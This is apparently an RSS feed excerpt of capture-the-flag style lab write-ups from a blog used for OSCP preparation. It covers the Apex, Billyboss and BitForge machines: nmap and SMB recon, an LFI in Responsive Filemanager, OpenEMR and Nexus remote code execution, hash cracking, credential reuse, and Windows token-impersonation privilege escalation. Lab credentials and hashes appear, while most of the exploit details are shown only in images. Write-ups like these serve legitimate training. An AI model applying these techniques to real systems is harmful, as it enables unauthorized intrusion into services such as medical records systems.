&lt;p&gt;&lt;img src=&quot;attachments/945b01c9384666bf66ccf0cf5ac3d4a0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get the &lt;em&gt;root&lt;/em&gt; hash, time to crack it and escalate privs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/83f17d79d0c457401312633758315553.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f8c3ca58403f200e18f60cf6dc87fa26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Finished 21:15 07-05-2025&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;[^Links]: [[OSCP Prep]]&lt;/p&gt;
&lt;p&gt;#Wordpress&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Apex</title><link>https://maxk9999.vercel.app/posts/apex</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/apex</guid><pubDate>Sat, 10 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.231.145
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV apex -T5 -vvvv --min-rate=5000 -sT -p-

PORT     STATE SERVICE     REASON  VERSION
80/tcp   open  http        syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: APEX Hospital
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
445/tcp  open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       syn-ack MariaDB 5.5.5-10.1.48
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
|   Thread ID: 52
|   Capabilities flags: 63487
|   Some Capabilities: SupportsCompression, LongPassword, Support41Auth, Speaks41ProtocolOld, ConnectWithDatabase, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, SupportsTransactions, DontAllowDatabaseTableColumn, LongColumnFlag, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, ODBCClient, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: =_I0R/2Ja(BQT/.:xm;~
|_  Auth Plugin Name: mysql_native_password
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;445/TCP - SMB&lt;/h2&gt;
&lt;h3&gt;Enum4linux-ng&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d743cecb07e216ebbf1704b7405b3cf8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de52b1f92442935de596de5e299e8da6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/22fc396c637ddedc5708c93e928e415c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Time to check out the &lt;code&gt;docs&lt;/code&gt; directory.&lt;/p&gt;
&lt;h3&gt;Smbclient&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d158dcd17bd0108e782fd95acf65470.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the &lt;code&gt;.pdf&lt;/code&gt; files and they contained a few pages of medical records and such.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a1358f670c18265d55a421cc31d5755d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Exiftool&lt;/h3&gt;
&lt;p&gt;Just in case I used &lt;code&gt;exiftool&lt;/code&gt; to view the metadata of the files.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1fc9444e1b07e1f4764f820f7f1bb240.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I opened up my browser and expected to see some sort of hospital website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/69b9003464e386ad871584eac0e6f775.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Indeed it is.&lt;/p&gt;
&lt;p&gt;Here I find a few possible usernames:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dd439b5bb73b0aebb6f21dc8503445e5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The contact form didn&apos;t seem vulnerable:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d364792e43fda06d2221a8ffa5ad16e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I clicked on &lt;strong&gt;Scheduler&lt;/strong&gt; and this took me to a login page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afcd74f0226bf16e4f9cf6ecb6c7eaf3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried out &lt;code&gt;admin - admin&lt;/code&gt; but this didn&apos;t work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e906167f71da908b0045ba0778f946fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Gobuster&lt;/h3&gt;
&lt;p&gt;I launched &lt;code&gt;gobuster&lt;/code&gt; to enumerate the directories and endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/87808248ec2eae8562dc25288a9e8c2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a &lt;code&gt;admin.php&lt;/code&gt; page which I checked out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/76f93ed5850c514add3bbd2a08223858.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Awesome we found the version, let&apos;s look for an exploit!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7ef6eae4282aaba166894901cb264815.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We need to be authenticated though, we have potential usernames but not the passwords.&lt;/p&gt;
&lt;p&gt;I started searching further and found the following directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0e57d50189d52e98d376ebebd1abe727.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b08876ead8b902187f6707dc02f47447.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In here I could apparently upload files!&lt;/p&gt;
&lt;h3&gt;LFI - Responsive Filemanager 9.13.4&lt;/h3&gt;
&lt;p&gt;I tried uploading a webshell but it wasn&apos;t allowed:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/191c270fac5568460553116c8cbc319d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We could now brute force filetypes and check whether any would be allowed but I decided to enumerate further first.&lt;/p&gt;
&lt;p&gt;I noticed a little question mark in the top right corner:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9af1a352bb678ad7b6d5f4778b2eef3d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5de7701de9b1658e2419e421fa22a29f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ah yes... We now got another version.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ebc966f71db831c62206f7af9610355.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f83e9ce38ff1b89f3c647cda25b3d36.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9c2a6c9bc0de79cb1c8a3d48877398c7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Pretty straightforward&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9acad1df37b8b12db11234b62c0cb3dc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/99e39302b1c13b598121aab5ddfea531.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunate&lt;/p&gt;
&lt;p&gt;We need to find another way to get RCE.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Checking Source Code&lt;/h2&gt;
&lt;p&gt;I checked out GitHub where I found the source code to &lt;code&gt;openemr&lt;/code&gt; where they had the following &lt;code&gt;sqlconf.php&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5b019e2762c57af207e7462ae01ae420.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked whether this existed here, perhaps it could contain credentials:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3560b23b8e66f7522a8605b9765e3bc4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No error, meaning it HIGHLY LIKELY exists, let&apos;s try reading it using the LFI exploit.&lt;/p&gt;
&lt;p&gt;:::important
Before doing this however we need to make slight changes to the PoC, we&apos;ll have to change the &lt;code&gt;read_file&lt;/code&gt; &lt;code&gt;url_path&lt;/code&gt; so we can get the file via &lt;code&gt;smb&lt;/code&gt;, namely because the file won&apos;t be read on the client side as it is a &lt;code&gt;.php&lt;/code&gt; file:
&lt;img src=&quot;attachments/f4119bb19089a3e59f0b3ae5d72aa9e0.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/427a231cb3186921679c754c5884e070.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can grab it and check the contents.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc422cae6d824370df4aec8115cb71bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3306/TCP - MySQL&lt;/h2&gt;
&lt;p&gt;:::warning
I had to issue the &lt;code&gt;skip_ssl&lt;/code&gt; option otherwise it &lt;em&gt;WOULD NOT WORK&lt;/em&gt;!!!!
&lt;a href=&quot;attachments/3af0dcb5bcd57c1f2885763575c4b2fb.png&quot;&gt;&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b1314ac3613d4cb51b7d3e777cf8625c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We gain access with the found password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d831258a8e7b0d3988e5a11e5bd1cc02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f067e42ebf832b8835a00287cf174875.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was obviously not the pass?&lt;/p&gt;
&lt;p&gt;I checked the tables again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/71bc7fb23e202117c42ecee4f8e6a8a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5116df9911b66c3bec735caeb424a6a8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC
$2a$05$bJcIfCBjN5Fuh0K9qfoe0n$
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hashcat&lt;/h2&gt;
&lt;p&gt;I threw the hash into &lt;code&gt;hashcat&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a26b1b6e787f22c099588bccd20289ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/518cfdcb9616d3dcb961613f37a16c3c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could now use these creds to log in to the portal.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
thedoctor
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RCE - OpenEMR 5.0.1&lt;/h2&gt;
&lt;p&gt;I then followed the previously found github RCE steps:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/81c2608bf22b3c1b5c0a10b892cdb5ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8fb247217bd2960019f8ae661d857622.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/255a6b484d9f7535191b668589b370fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Yeah this didn&apos;t work, let&apos;s check alternative scripts.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/788ce098e3c26d5d644e93504930a0bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and launched the following one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/44ae8840b52d00f744206d4f1408f2d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b66c9c48540488f570136313ee7f25bc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;local.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/03cd70f52e6fff8a8c72b3f01685a900.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Shell as root&lt;/h2&gt;
&lt;p&gt;Since the password was for the &lt;em&gt;admin&lt;/em&gt; user, we can try and password spray before doing any further enum:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d303ad1343071e45377b9a69cc089f6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Easiest privesc ever.&lt;/p&gt;
&lt;h3&gt;proof.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39f224acee6da69742ee753766388507.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-Billyboss</title><link>https://maxk9999.vercel.app/posts/billyboss</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/billyboss</guid><pubDate>Fri, 16 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.128.61
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV billyboss -sT -vvvv -p- -Pn -T5 --min-rate=5000 

PORT      STATE    SERVICE         REASON      VERSION
21/tcp    open     ftp             syn-ack     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open     http            syn-ack     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: 8D9ADDAFA993A4318E476ED8EB0C8061
|_http-cors: HEAD GET POST PUT DELETE TRACE OPTIONS CONNECT PATCH
|_http-title: BaGet
| http-methods: 
|_  Supported Methods: GET HEAD
135/tcp   open     msrpc           syn-ack     Microsoft Windows RPC
139/tcp   open     netbios-ssn     syn-ack     Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds?   syn-ack
5040/tcp  open     unknown         syn-ack
7680/tcp  open     pando-pub?      syn-ack
8081/tcp  open     http            syn-ack     Jetty 9.4.18.v20190429
| http-robots.txt: 2 disallowed entries 
|_/repository/ /service/
|_http-title: Nexus Repository Manager
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 9A008BECDE9C5F250EDAD4F00E567721
|_http-server-header: Nexus/3.21.0-05 (OSS)
49664/tcp open     msrpc           syn-ack     Microsoft Windows RPC
49665/tcp open     msrpc           syn-ack     Microsoft Windows RPC
49666/tcp open     msrpc           syn-ack     Microsoft Windows RPC
49667/tcp open     msrpc           syn-ack     Microsoft Windows RPC
49668/tcp open     msrpc           syn-ack     Microsoft Windows RPC
49669/tcp open     msrpc           syn-ack     Microsoft Windows RPC
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;21/TCP - FTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25db639d3ca6cef5f7cd32ca28439ef5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried out the secure version &lt;code&gt;lftp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/174d83a85b92966982cb609cfd9d7dc9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Didn&apos;t work either.&lt;/p&gt;
&lt;h2&gt;8081/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e1cc9d07b4c63d3851712f276c538836.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/951d0fd9113f8a9477d9b9a1af534191.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9403c1ef65bf3bf978f449afc0e3a45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7a92cba26a624cb2fbcec57287b2db24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this exploit still requires a set of valid creds which we do not have.&lt;/p&gt;
&lt;p&gt;Other than that I can only find the following according to &lt;code&gt;nmap&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa9b94861ac7df002e119563fcd0a3b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Access&lt;/h3&gt;
&lt;p&gt;Alright so I guess we will need to guess credentials?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bad7b3da0710c195d519e7a50423ae95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b86ab07af0e06caaf196c0e6f9bb7663.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nexus - nexus&lt;/code&gt; worked!&lt;/p&gt;
&lt;p&gt;So what can we actually do here?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6550327087187a35e95d2cdf9c548f43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/41c737cddf612bf70f09bd91969e3e75.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Doesn&apos;t seem interesting, but we found the PoC so let&apos;s check it out.&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dbc4249be183a6cc076f17c264f9a0c9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We modify it to suit our needs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e09cdf84e6a8e05ee697c1b56691a32e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as Nathan&lt;/h2&gt;
&lt;p&gt;I execute the PoC&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7fc800e623f102cf62fee10bffafe61a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9070b4f02b1650a5dde9e829fb246147.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get a shell back.&lt;/p&gt;
&lt;p&gt;:::note
Interestingly we land inside the Nexus directory which is in &lt;em&gt;nathan&lt;/em&gt;&apos;s &lt;code&gt;Users&lt;/code&gt; folder.
:::&lt;/p&gt;
&lt;p&gt;Since this is the case we must have interesting privileges, as Windows users running the web server usually have the &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; enabled:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d9e804f3071efebfb0e50a7eeb3ba39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Indeed! We can try to escalate privs right away.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;SeImpersonatePrivilege&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9cec68c2b49cf1d13c1b8b08dc370f77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
PrintSpoofer failed, let&apos;s see if GodPotato will work
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/088f14e8d28c641f9df7effee1c1fd81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bfa38d2746c0a7a93d978ac2663d8e80.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We got a reverse shell although it is unclear whether we are actually &lt;em&gt;SYSTEM&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;flags&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4319bcc5c467162e8d397fb4c5181886.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>PG-BitForge</title><link>https://maxk9999.vercel.app/posts/bitforge</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/bitforge</guid><pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
192.168.102.186
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Objectives&lt;/h1&gt;
&lt;p&gt;:::note
This lab challenges learners to exploit a web application&apos;s misconfigurations, retrieve sensitive data, and escalate privileges to gain root access. Using tools to explore exposed .git directories, compromise the SOPlanning application, and abuse misconfigured permissions, you will develop your skills in enumeration, exploitation, and privilege escalation.
:::&lt;/p&gt;
&lt;p&gt;In this challenge, learners will exploit a series of vulnerabilities in the BitForge environment, including exposed .git directories, weak password storage mechanisms, and a vulnerable SOPlanning application. The lab culminates in exploiting a writable Flask application to escalate privileges and gain root access, testing skills in enumeration, exploitation, and lateral movement.&lt;/p&gt;
&lt;h2&gt;Attack BitForge&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Enumerate the target system to identify open ports and subdomains.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exploit exposed .git directories to retrieve sensitive configuration files and credentials.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Gain authenticated access to the SOPlanning application and leverage CVE-2022-37386 to execute arbitrary code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Escalate privileges by exploiting misconfigured cron jobs and writable application files.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Achieve root access by modifying application behavior via a Flask-based privilege escalation vector.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV bitforge -sT -vvvv -p- -Pn -T5 --min-rate=5000

PORT     STATE  SERVICE    REASON       VERSION
22/tcp   open   ssh        syn-ack      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http       syn-ack      Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://bitforge.lab/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-git: 
|   192.168.102.186:80/.git/
|     Git repository found!
|     .git/config matched patterns &apos;user&apos;
|     Repository description: Unnamed repository; edit this file &apos;description&apos; to name the...
|_    Last commit message: created .env to store the database configuration 
3306/tcp open   mysql      syn-ack      MySQL 8.0.40-0ubuntu0.24.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.40_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_8.0.40_Auto_Generated_CA_Certificate
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.40-0ubuntu0.24.04.1
|   Thread ID: 29
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, Speaks41ProtocolOld, LongPassword, SupportsTransactions, IgnoreSigpipes, FoundRows, ODBCClient, SupportsCompression, Speaks41ProtocolNew, InteractiveClient, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SupportsLoadDataLocal, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: +SbaN=J9\x1F?MM.FC:q\x12?d
|_  Auth Plugin Name: caching_sha2_password
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;We find a &lt;code&gt;.git&lt;/code&gt; repo using &lt;code&gt;nmap&lt;/code&gt; so let&apos;s check it out:&lt;/p&gt;
&lt;h3&gt;git-dumper&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9675bc06a7e25ddc0aa073d81e870319.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check out what we get.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;git log&lt;/code&gt; we can check the commit history:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/162195e4a237595e5108054483263f36.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interesting! Let&apos;s check out this commit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/24226edc4e4ec5aae0179dcdcc867552.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeah.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BitForgeAdmin
B1tForG3S0ftw4r3S0lutions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can try it out on the &lt;code&gt;MySQL&lt;/code&gt; server since they&apos;re creds for a &lt;code&gt;db&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;3306/TCP - MySQL&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d7e15ea4a05bd392bf7344e19b1ef9cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The creds work and we&apos;re in!&lt;/p&gt;
&lt;p&gt;I notice 2 non-default databases namely &lt;code&gt;bitforge_customer_db&lt;/code&gt; as well as &lt;code&gt;soplanning&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I decide to check out the latter first.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd1561296f4b255264733ed3333d89ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/36a3545a69ee516d78ce1dbdc49a9c54.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a7a512ea5a1f3fdc5bd1161d7052d3b0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I wasn&apos;t able to crack the hash but also noticed a &lt;code&gt;cle&lt;/code&gt; part in the table, not knowing what it was I started checking online where I found &lt;a href=&quot;https://blog.quarkslab.com/pwn-everything-bounce-everywhere-all-at-once-part-2.html&quot;&gt;this post&lt;/a&gt; containing info on how to get access to &lt;strong&gt;SoPlanning&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/56b565b4f1275830d1821724d22eb1ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SoPlanning&lt;/h2&gt;
&lt;h3&gt;MySQL UPDATE on creds&lt;/h3&gt;
&lt;p&gt;I found a subdomain here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/103ecb301cc0c608e4295ce0e4eb091e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I clicked on it I had to add the &lt;code&gt;plan.bitforge.lab&lt;/code&gt; subdomain to my &lt;code&gt;/etc/hosts&lt;/code&gt; list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6a9855d36d6e7fd9458745fa9c7f9360.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Another login page, however this time for employees.&lt;/p&gt;
&lt;p&gt;Since we still didn&apos;t know the exact cleartext password I got kinda stuck.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!info]
I then found out online that I could try and &lt;code&gt;UPDATE&lt;/code&gt; the password within &lt;code&gt;MySQL&lt;/code&gt; to fit any other password of my liking, that way I wouldn&apos;t have to go to the trouble of cracking the existing hash.&lt;/p&gt;
&lt;/blockquote&gt;
